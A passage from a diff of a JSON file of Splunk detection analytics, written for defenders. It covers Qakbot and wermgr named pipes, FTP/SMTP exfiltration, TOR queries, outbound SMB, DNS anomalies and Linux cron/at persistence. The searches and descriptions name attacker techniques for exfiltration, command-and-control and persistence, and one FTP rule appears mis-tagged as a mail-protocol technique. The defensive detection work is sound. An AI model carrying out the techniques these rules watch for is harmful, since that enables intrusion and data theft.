\"*\\\\wermgr.exe\", \"*\\\\ping.exe\", \"*\\\\OneDriveSetup.exe\", \"*\\\\dxdiag.exe\", \"*\\\\mobsync.exe\", \"*\\\\msra.exe\", \"*\\\\xwizard.exe\") | regex PipeName=\"^\\\\\\{[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{8}\" | stats min(_time) as firstTime max(_time) as lastTime count by Image EventType ProcessGuid ProcessId PipeName SecurityID EventCode dest UserID | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_app_layer_protocol_qakbot_namedpipe_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "$Image$ is creating or connecting to a named pipe $PipeName$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Windows App Layer Protocol Wermgr Connect To NamedPipe", - "description": "The following analytic detects the wermgr.exe process creating or connecting to a named pipe. It leverages Sysmon EventCodes 17 and 18 to identify these actions. This activity is significant because wermgr.exe, a legitimate Windows OS Problem Reporting application, is often abused by malware such as Trickbot and Qakbot to execute malicious code. If confirmed malicious, this behavior could indicate that an attacker has injected code into wermgr.exe, potentially allowing them to communicate covertly, escalate privileges, or persist within the environment.", - "search": "`sysmon` EventCode IN (17, 18) Image= \"*\\\\wermgr.exe\" EventType IN ( \"CreatePipe\", \"ConnectPipe\") | stats min(_time) as firstTime max(_time) as lastTime count by Image EventType ProcessGuid ProcessId PipeName SecurityID EventCode dest UserID | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_app_layer_protocol_wermgr_connect_to_namedpipe_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "wermgr.exe process is creating or connecting to a named pipe $PipeName$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Windows Application Layer Protocol RMS Radmin Tool Namedpipe", - "description": "The following analytic detects the use of default or publicly known named pipes associated with the RMX remote admin tool. It leverages Sysmon EventCodes 17 and 18 to identify named pipe creation and connection events. This activity is significant as the RMX tool has been abused by adversaries and malware like Azorult to collect data from targeted hosts. If confirmed malicious, this could indicate unauthorized remote administration capabilities, leading to data exfiltration or further compromise of the affected system. Immediate investigation is required to determine the legitimacy of this tool's presence.", - "search": "`sysmon` EventCode IN (17, 18) EventType IN ( \"CreatePipe\", \"ConnectPipe\") PipeName IN (\"\\\\RManFUSServerNotify32\", \"\\\\RManFUSCallbackNotify32\", \"\\\\RMSPrint*\") | stats min(_time) as firstTime max(_time) as lastTime count by Image EventType ProcessId PipeName dest UserID | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_application_layer_protocol_rms_radmin_tool_namedpipe_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "possible RMS admin tool named pipe was created in endpoint $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Windows File Transfer Protocol In Non-Common Process Path", - "description": "The following analytic detects FTP connections initiated by processes located in non-standard installation paths on Windows systems. It leverages Sysmon EventCode 3 to identify network connections where the process image path does not match common directories like \"Program Files\" or \"Windows\\System32\". This activity is significant as FTP is often used by adversaries and malware, such as AgentTesla, for Command and Control (C2) communications to exfiltrate stolen data. If confirmed malicious, this could lead to unauthorized data transfer, exposing sensitive information and compromising the integrity of the affected host.", - "search": "`sysmon` EventCode=3 NOT(Image IN(\"*\\\\program files*\", \"*\\\\windows\\\\system32\\\\*\",\"*\\\\windows\\\\SysWOW64\\\\*\")) (DestinationPortName=\"ftp\" OR DestinationPort=21) | stats count min(_time) as firstTime max(_time) as lastTime by Image DestinationPort DestinationPortName DestinationHostname DestinationIp SourcePort SourcePortName Protocol SourceHostname dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_file_transfer_protocol_in_non_common_process_path_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Snake Keylogger" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process $Image$ is having a FTP connection to $DestinationHostname$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.003", - "mitre_attack_technique": "Mail Protocols", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Kimsuky", - "SilverTerrier", - "Turla" - ] - }, - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Windows Mail Protocol In Non-Common Process Path", - "description": "The following analytic detects a Windows application establishing an SMTP connection from a non-common installation path. It leverages Sysmon EventCode 3 to identify processes not typically associated with email clients (e.g., Thunderbird, Outlook) making SMTP connections. This activity is significant as adversaries, including malware like AgentTesla, use such connections for Command and Control (C2) communication to exfiltrate stolen data. If confirmed malicious, this behavior could lead to unauthorized data exfiltration, including sensitive information like desktop screenshots, browser data, and system details, compromising the affected host.", - "search": "`sysmon` EventCode=3 NOT(Image IN(\"*\\\\program files*\", \"*\\\\thunderbird.exe\",\"*\\\\outlook.exe\")) (DestinationPortName=\"smtp\" OR DestinationPort=25 OR DestinationPort=587) | stats count min(_time) as firstTime max(_time) as lastTime by Image DestinationPort DestinationPortName DestinationHostname SourceHostname SourcePort SourcePortName Protocol DestinationIp dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_mail_protocol_in_non_common_process_path_filter`", - "tags": { - "analytic_story": [ - "AgentTesla" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process $Image$ is having a SMTP connection to $DestinationHostname$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.003", - "mitre_attack_technique": "Mail Protocols", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Kimsuky", - "SilverTerrier", - "Turla" - ] - }, - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Windows Multi hop Proxy TOR Website Query", - "description": "The following analytic identifies DNS queries to known TOR proxy websites, such as \"*.torproject.org\" and \"www.theonionrouter.com\". It leverages Sysmon EventCode 22 to detect these queries by monitoring DNS query events from endpoints. This activity is significant because adversaries often use TOR proxies to disguise the source of their malicious traffic, making it harder to trace their actions. If confirmed malicious, this behavior could indicate an attempt to obfuscate network traffic, potentially allowing attackers to exfiltrate data or communicate with command and control servers undetected.", - "search": "`sysmon` EventCode=22 QueryName IN (\"*.torproject.org\", \"www.theonionrouter.com\") | stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryStatus ProcessId Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_multi_hop_proxy_tor_website_query_filter`", - "tags": { - "analytic_story": [ - "AgentTesla" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process $Image$ is having a dns query in a tor domain $QueryName$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.003", - "mitre_attack_technique": "Mail Protocols", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Kimsuky", - "SilverTerrier", - "Turla" - ] - }, - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Detect Outbound SMB Traffic", - "description": "The following analytic detects outbound SMB (Server Message Block) connections from internal hosts to external servers. It identifies this activity by monitoring network traffic for SMB requests directed towards the Internet, which are unusual for standard operations. This detection is significant for a SOC as it can indicate an attacker's attempt to retrieve credential hashes through compromised servers, a key step in lateral movement and privilege escalation. If confirmed malicious, this activity could lead to unauthorized access to sensitive data and potential full system compromise.", - "search": "| tstats `security_content_summariesonly` earliest(_time) as start_time latest(_time) as end_time values(All_Traffic.action) as action values(All_Traffic.app) as app values(All_Traffic.dest_ip) as dest_ip values(All_Traffic.dest_port) as dest_port values(sourcetype) as sourcetype count from datamodel=Network_Traffic where (All_Traffic.action=allowed All_Traffic.direction=outbound All_Traffic.dest_port=139 OR All_Traffic.dest_port=445 OR All_Traffic.app=\"smb\") by All_Traffic.src_ip | `drop_dm_object_name(\"All_Traffic\")` | eval match=case( cidrmatch(\"10.0.0.0/8\" ,dest_ip) ,\"1\", cidrmatch(\"172.16.0.0/12\" ,dest_ip) ,\"1\", cidrmatch(\"192.168.0.0/16\" ,dest_ip) ,\"1\", cidrmatch(\"100.64.0.0/10\" ,dest_ip) ,\"1\", 1=1,\"0\") | search match=0 | fields - match | `security_content_ctime(start_time)` | `security_content_ctime(end_time)` | `detect_outbound_smb_traffic_filter`", - "tags": { - "analytic_story": [ - "DHS Report TA18-074A", - "Hidden Cobra Malware", - "NOBELIUM Group" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "dest_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "An outbound SMB connection from $src_ip$ in your infrastructure connecting to dest ip $dest_ip$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.002", - "mitre_attack_technique": "File Transfer Protocols", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Dragonfly", - "Kimsuky", - "SilverTerrier" - ] - }, - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } - }, - { - "name": "DNS Query Length Outliers - MLTK", - "description": "The following analytic identifies DNS requests with unusually large query lengths for the record type being requested. It leverages the Network_Resolution data model and applies a machine learning model to detect outliers in DNS query lengths. This activity is significant because unusually large DNS queries can indicate data exfiltration or command-and-control communication attempts. If confirmed malicious, this activity could allow attackers to exfiltrate sensitive data or maintain persistent communication channels with compromised systems.", - "search": "| tstats `security_content_summariesonly` count min(_time) as start_time max(_time) as end_time values(DNS.src) as src values(DNS.dest) as dest from datamodel=Network_Resolution by DNS.query DNS.record_type | search DNS.record_type=* | `drop_dm_object_name(DNS)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | eval query_length = len(query) | apply dns_query_pdfmodel threshold=0.01 | rename \"IsOutlier(query_length)\" as isOutlier | search isOutlier > 0 | sort -query_length | table start_time end_time query record_type count src dest query_length | `dns_query_length_outliers___mltk_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Hidden Cobra Malware", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.004", - "mitre_attack_technique": "DNS", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT18", - "APT39", - "APT41", - "Chimera", - "Cobalt Group", - "FIN7", - "Ke3chang", - "LazyScripter", - "OilRig", - "Tropic Trooper" - ] - }, - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Excessive DNS Failures", - "description": "The following analytic identifies excessive DNS query failures by counting DNS responses that do not indicate success, triggering when there are more than 50 occurrences. It leverages the Network_Resolution data model, focusing on DNS reply codes that signify errors. This activity is significant because a high number of DNS failures can indicate potential network misconfigurations, DNS poisoning attempts, or malware communication issues. If confirmed malicious, this activity could lead to disrupted network services, hindered communication, or data exfiltration attempts by attackers.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Network_Resolution where nodename=DNS \"DNS.reply_code\"!=\"No Error\" \"DNS.reply_code\"!=\"NoError\" DNS.reply_code!=\"unknown\" NOT \"DNS.query\"=\"*.arpa\" \"DNS.query\"=\"*.*\" by \"DNS.src\" \"DNS.query\" \"DNS.reply_code\" | `drop_dm_object_name(\"DNS\")` | lookup cim_corporate_web_domain_lookup domain as query OUTPUT domain | where isnull(domain) | lookup update=true alexa_lookup_by_str domain as query OUTPUT rank | where isnull(rank) | eventstats max(count) as mc by src reply_code | eval mode_query=if(count=mc, query, null()) | stats sum(count) as count values(mode_query) as query values(mc) as max_query_count by src reply_code | where count>50 | `get_asset(src)` | `excessive_dns_failures_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Excessive DNS failures detected on $src$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.004", - "mitre_attack_technique": "DNS", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT18", - "APT39", - "APT41", - "Chimera", - "Cobalt Group", - "FIN7", - "Ke3chang", - "LazyScripter", - "OilRig", - "Tropic Trooper" - ] - }, - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } - } + ] ], "external_reference": [ "https://twitter.com/stvemillertime/status/1024707932447854592", @@ -231191,2347 +177033,7 @@ "Event ID": "106", "Event Name": "Task Registered" } - ], - { - "name": "Linux Add Files In Known Crontab Directories", - "description": "The following analytic detects unauthorized file creation in known crontab directories on Unix-based systems. It leverages filesystem data to identify new files in directories such as /etc/cron* and /var/spool/cron/*. This activity is significant as it may indicate an attempt by threat actors or malware to establish persistence on a compromised host. If confirmed malicious, this could allow attackers to execute arbitrary code at scheduled intervals, potentially leading to further system compromise and unauthorized access to sensitive information.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/etc/cron*\", \"*/var/spool/cron/*\") by Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_add_files_in_known_crontab_directories_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.003", - "mitre_attack_technique": "Cron", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT38", - "APT5", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Adding Crontab Using List Parameter", - "description": "The following analytic detects suspicious modifications to cron jobs on Linux systems using the crontab command with list parameters. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it may indicate an attempt to establish persistence or execute malicious code on a schedule. If confirmed malicious, the impact could include unauthorized code execution, data destruction, or other damaging outcomes. Further investigation should analyze the added cron job, its associated command, and any related processes.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"crontab\" Processes.process= \"* -l*\" by Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_adding_crontab_using_list_parameter_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Gomir", - "Industroyer2", - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A possible crontab list command $process$ executed on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.003", - "mitre_attack_technique": "Cron", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT38", - "APT5", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux At Allow Config File Creation", - "description": "The following analytic detects the creation of the /etc/at.allow or /etc/at.deny configuration files in Linux. It leverages file creation events from the Endpoint datamodel to identify when these files are created. This activity is significant as these files control user permissions for the \"at\" scheduling application and can be abused by attackers to establish persistence. If confirmed malicious, this could allow unauthorized execution of malicious code, leading to potential data theft or further system compromise. Analysts should review the file path, creation time, and associated processes to assess the threat.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/etc/at.allow\", \"*/etc/at.deny\") by Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_at_allow_config_file_creation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.003", - "mitre_attack_technique": "Cron", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT38", - "APT5", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux At Application Execution", - "description": "The following analytic detects the execution of the \"At\" application in Linux, which can be used by attackers to create persistence entries on a compromised host. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and parent process names associated with \"at\" or \"atd\". This activity is significant because the \"At\" application can be exploited to maintain unauthorized access or deliver additional malicious payloads. If confirmed malicious, this behavior could lead to data theft, ransomware attacks, or other severe consequences. Immediate investigation is required to determine the legitimacy of the execution and mitigate potential risks.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Processes where Processes.process_name IN (\"at\", \"atd\") OR Processes.parent_process_name IN (\"at\", \"atd\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_at_application_execution_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "At application was executed in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.002", - "mitre_attack_technique": "At", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "BRONZE BUTLER", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Edit Cron Table Parameter", - "description": "The following analytic detects the suspicious editing of cron jobs in Linux using the crontab command-line parameter (-e). It identifies this activity by monitoring command-line executions involving 'crontab' and the edit parameter. This behavior is significant for a SOC as cron job manipulations can indicate unauthorized persistence attempts or scheduled malicious actions. If confirmed malicious, this activity could lead to system compromise, unauthorized access, or broader network compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = crontab Processes.process = \"*crontab *\" Processes.process = \"* -e*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_edit_cron_table_parameter_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A possible crontab edit command $process$ executed on $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.003", - "mitre_attack_technique": "Cron", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT38", - "APT5", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Possible Append Command To At Allow Config File", - "description": "The following analytic detects suspicious command lines that append user entries to /etc/at.allow or /etc/at.deny files. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving these files. This activity is significant because altering these configuration files can allow attackers to schedule tasks with elevated permissions, facilitating persistence on a compromised Linux host. If confirmed malicious, this could enable attackers to execute arbitrary code at scheduled intervals, potentially leading to further system compromise and unauthorized access to sensitive information.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Processes where Processes.process = \"*echo*\" AND Processes.process IN(\"*/etc/at.allow\", \"*/etc/at.deny\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_append_command_to_at_allow_config_file_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may modify at allow config file in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.002", - "mitre_attack_technique": "At", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "BRONZE BUTLER", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Possible Append Cronjob Entry on Existing Cronjob File", - "description": "The following analytic detects potential tampering with cronjob files on a Linux system by identifying 'echo' commands that append code to existing cronjob files. It leverages logs from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line executions. This activity is significant because adversaries often use it for persistence or privilege escalation. If confirmed malicious, this could allow attackers to execute unauthorized code automatically, leading to system compromises and unauthorized data access, thereby impacting business operations and data integrity.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Processes where Processes.process = \"*echo*\" AND Processes.process IN(\"*/etc/cron*\", \"*/var/spool/cron/*\", \"*/etc/anacrontab*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_append_cronjob_entry_on_existing_cronjob_file_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may modify cronjob file in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.003", - "mitre_attack_technique": "Cron", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT38", - "APT5", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - 